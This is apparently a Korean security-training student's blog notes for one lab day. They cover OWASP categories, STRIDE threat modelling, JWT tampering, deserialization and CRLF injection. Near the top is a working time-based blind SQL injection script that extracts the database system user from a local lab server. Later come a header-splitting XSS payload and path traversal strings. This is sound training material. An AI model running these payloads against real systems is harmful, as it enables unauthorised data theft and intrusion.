본문 바로가기
  • 이게 왜 되지...?
시큐리티아카데미 7기 - sk쉴더스트랙/4주차 (2026.03.16 ~ 2026.03.20)

[시큐리티 아카데미 7기 - sk쉴더스 트랙] 18일차 - 2026.03.19

by smisooth 2026. 3. 19.

오늘은 목요일~ 

목요일은 걍 싫어!!!!!!!

얼른 집 보내줘!!!!!!!!!!!!!!!!!!!

 

 

 

실습

코드

import requests
import time

# 1. 환경 설정
TARGET_URL = "http://localhost:5000/Comments.aspx"
# 검색 범위: 소문자 + 숫자 (acunetix 추출용)
CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789"
RESULT = ""

print("="*50)
print("🚀 취약한 서버로부터 SYSTEM_USER 추출 시작")
print("="*50)

# 2. 글자 위치(pos) 루프 (최대 10글자 가정)
for pos in range(1, 11):
    found_at_pos = False
    print(f"\n[위치 {pos}] 탐색: ", end="", flush=True)

    for char in CHARSET:
        ascii_val = ord(char)
        
        # 3. 서버 정규표현식(WAITFOR_PATTERN, if_match)에 최적화된 MSSQL 스타일 페이로드
        # 서버 코드의 re.search 로직을 통과하기 위해 정확한 형식을 유지해야 함
        payload = (
            f"1; IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),"
            f"CHAR(32))),{pos},1)) = {ascii_val}) WAITFOR DELAY '0:0:5'--"
        )
        
        start_time = time.perf_counter()
        
        try:
            # params를 통해 ?id=... 형태로 전달
            response = requests.get(TARGET_URL, params={'id': payload}, timeout=10)
            elapsed = time.perf_counter() - start_time
            
            # 4. 결과 판정 (서버가 5초 sleep 하므로 4.5초 기준)
            if elapsed >= 4.5:
                RESULT += char
                print(f" [★ 발견: '{char}']", end="")
                found_at_pos = True
                break
            else:
                # 진행 상황 표시 (점 찍기)
                print(".", end="", flush=True)
                
        except requests.exceptions.RequestException as e:
            print(f"\n❌ 에러 발생: {e}")
            break

    # 해당 위치에서 문자를 못 찾으면 데이터가 끝난 것으로 간주
    if not found_at_pos:
        print(f"\n\n[*] 더 이상 일치하는 문자가 없습니다. 탐색 종료.")
        break

# 5. 최종 결과 출력
print("\n" + "="*50)
print(f"🔓 최종 탈취된 유저명: {RESULT}")
print("="*50)

결과

시스템 유저가 잘 탈취된 것을 볼 수 있다~

 

내가 만났던 문제

1. 아무리 코드를 돌려봐도 다 빠르게 처리되고 기준에 걸리는 게 없었음

- 웹페이지 코드에서 문제 발견 : 0s로 설정되어 있어서 제재가 없던 것

 

 

 

 

1.  A06: 안전하지 않은 설계 - 253
    1) Insecure design

    2) 비유
        ① 화장실을 지었는데 배관이 없어요

    3) STRIDE 기법 
        ① 마이크로소프트에서 고안한 이 모델은 위협을 6가지 카테고리로 분류하여 누락 없이 보안 검토 가능

            i.  탑텐과 매칭시켜본 거임

    4) 실습 – 관리자 게시판이라면?
        ① 사칭 
            i.  공격 시나리오
                -  타인의 계정 정보로 로그인하거나, 세션 ID를
            ii.  대응 방안
                -  MFA(2차 인증) 도입, HTTPS(TLS) 필수 적용, 세션 타임아웃 설정.
        ② 변조
            i.  공격 시나리오
                -  게시글 본문에 악성 스크립트 삽입(XSS), 업로드하는 파일명을 조작하여 시스템 파일 덮어쓰기.
            ii.  대응방안
                -  입력값 검증(Filtering), 파일 업로드 시 파일명 난수화 및 확장자 화이트리스트 검사.
        ③ 부인
            i.  공격 시나리오
                -  관리자가 중요 공지를 삭제해놓고 "내가 안 했다"고 주장하거나, 해커가 흔적을 지움.
            ii.  대응 방안
                -  모든 주요 행위에 대해 수정 불가능한 감사 로그(Audit Log) 생성 및 외부 로그 서버 전송.
        ④ 정보유출
            i.  공격 시나리오
                -  URL의 게시글 번호를 조작하여 비공개 게시글을 열람하거나, SQL Injection으로 DB 정보 유출.
            ii.  대응 방안
                -  권한 검증 로직 강화(서버측에서 세션 확인), 데이터베이스 암호화, 상세 에러 메시지 노출 금지.
        ⑤ 서비스 거부
            i.  공격 시나리오
                -  수 GB의 대용량 파일을 반복 업로드하여 디스크를 채우거나, 복잡한 검색 쿼리를 날려 CPU 마비.
            ii.  대응 방안
                -  파일 크기 제한, 검색 쿼리 실행 시간 제한(Timeout), IP당 요청 횟수 제한(Rate Limiting).
        ⑥ 권한 상승
            i.  공격 시나리오
                -  일반 사용자가 admin=true 파라미터를 조작하여 관리자 페이지에 진입하거나 로그아웃 후 뒤로가기로 재접속.
            ii.  대응 방안
                -  서버 사이드 권한 체크, 로그아웃 시 세션 완전 파괴, RBAC(역할 기반 접근 제어

    5) Sql injection -> prepared..
        ① Path traversal(파일 다운로드) -> a.jpg -> ../../../etc/passwd%00jpg (블랙리스트)
        ②  파일 업로드 -> 확장자검사 (화이트리스트)
        ③ Xxs -> nput, output(html) => black-list
            => input ( <, > ) 입력값 검증
            => 시큐어코딩(output값을 다른값을 변환)


2.  적절한 인증없는 중요 기능 허용
    1) 수정하기


    2) 프록시로 뚫어보기 

        ① 원래 USER였는데 ADMIN으로 바꿔줌

    3) 확인 

        ① 잘 수정되었다고 나옴

    4) ai한테 코드 상으로 취약점 어딨는지 물어보기
        ① unsafeUpdateBoard 메소드에 아주 치명적인 권한 관련 취약점이 존재합니다.
        ② 이 취약점은 보안 용어로 **IDOR(Insecure Direct Object Reference, 부적절한 직접 객체 참조)**와 **Broken Access Control(접근 제어 미흡)**이 결합된 형태입니다.
            i.  즉 사용자가 보낸 role을 그대로 사용한다는 거임

    5) 안전한 수정 

        ① 내가 위조할 수 있는 게 없음
        ② sessionUserId와 sessionUserRole 파라미터를 사용한거임
        ③ 클라이언트가 보낸 데이터가 아니라, 서버의 안전한 저장소(세션)에서 가져온 검증된 정보인 것


3.  JWT 취약점 – 로그인
    1) 사용자 하드디스크에 저장되는 쿠키를 통한 정보노출
    2) 로그인 해보기 

        ① 취약점 확인을 위해 시그니처는 일부러 뺌
        ② 공격을 어떻게 해야할까?
        ③ 두번째 블록에 디코딩을 해야겠지?
        ④ 그 후에 다시 인코딩 하고 보내서 burp 확인하기

    3) JWT (JSON Web Token) 구조
        ① 시그니처
        ② 헤더
        ③ 페이로드

    4) 토큰 확인


    5) 디코딩 해서 admin으로 로그인하기 

        ① User로 로그인했지만 조작해서 admin 계정으로 들어가 글 작성이 가능해짐


4.  A08 : 무결성 실패
    1) 안전하지 않은 역직렬화
    2) 서명되지 않은 업데이트
    3) 신뢰할 수 없는 소스
    4) Ci/cd 아티팩트 미검즘
    5) 객체 속성 변조


5.  신뢰할 수 없는 데이터의 역직렬화
    1) 정상파일 업로드


    2) 악성파일 업로드 

        ① 맨 마지막에 calc 코드 실행돼서 계산기가 뜨는 것을 볼 수 있음

 


6.  CRLF injection
    1) 외부입력값이 헤더값을 처리하는 함수에 사용될때.
    2) log forgging 
        ① 외부입력값이 로그생성부분에 관여
    3) request ------------> response
    4) request(%0d%0a중간넣어서..) 2개 쪼개서.( XSS ). ------------> response


7.  HTTP 응답 분할 취약점
    1) 일단 공격해보기
        ① https://www.google.com%0d%0aContent-Type: text/html%0d%0aContent-Length: 30%0d%0a%0d%0a<script>alert('Hacked!')</script>
        ② 공격 

        ③ 확인


    2) Burp로 패킷 잡아보기
        ① 확인 

            i.  공격한 거랄 리피터로 보내서 샌드를 눌러보면 헤더가 2개 나오는 것을 볼 수 있다
            ii.  오른쪽 2개를 보면 200과 302가 나옴
                -  302는 redirection인거 알지?
            iii.  요 공격이 바로 CRLF injection이다


    3) 비슷한 것들
        ① 오픈 리다이렉트
            i.  Page/page?id=http://www.navr.com
        ② Ssrf
            i.  Page/page?id=http://www.내부시스템r.com
            ii.  혹은 비공인 ip 할당 시스템
        ③ Path traversal
            i.  Page/page?id=../../../../../windows/win.ini

    4) 코드 확인  

        ① 일부러 좀 취약하게 만들긴 했는데 위치 넣으면 바로 url 주는 것을 볼 수 있음
        ② Dast 툴에서 잘 찾고 결과쪽만 해서 삽입공격이 있는지만 확인해서 리포트 쓰면 될 듯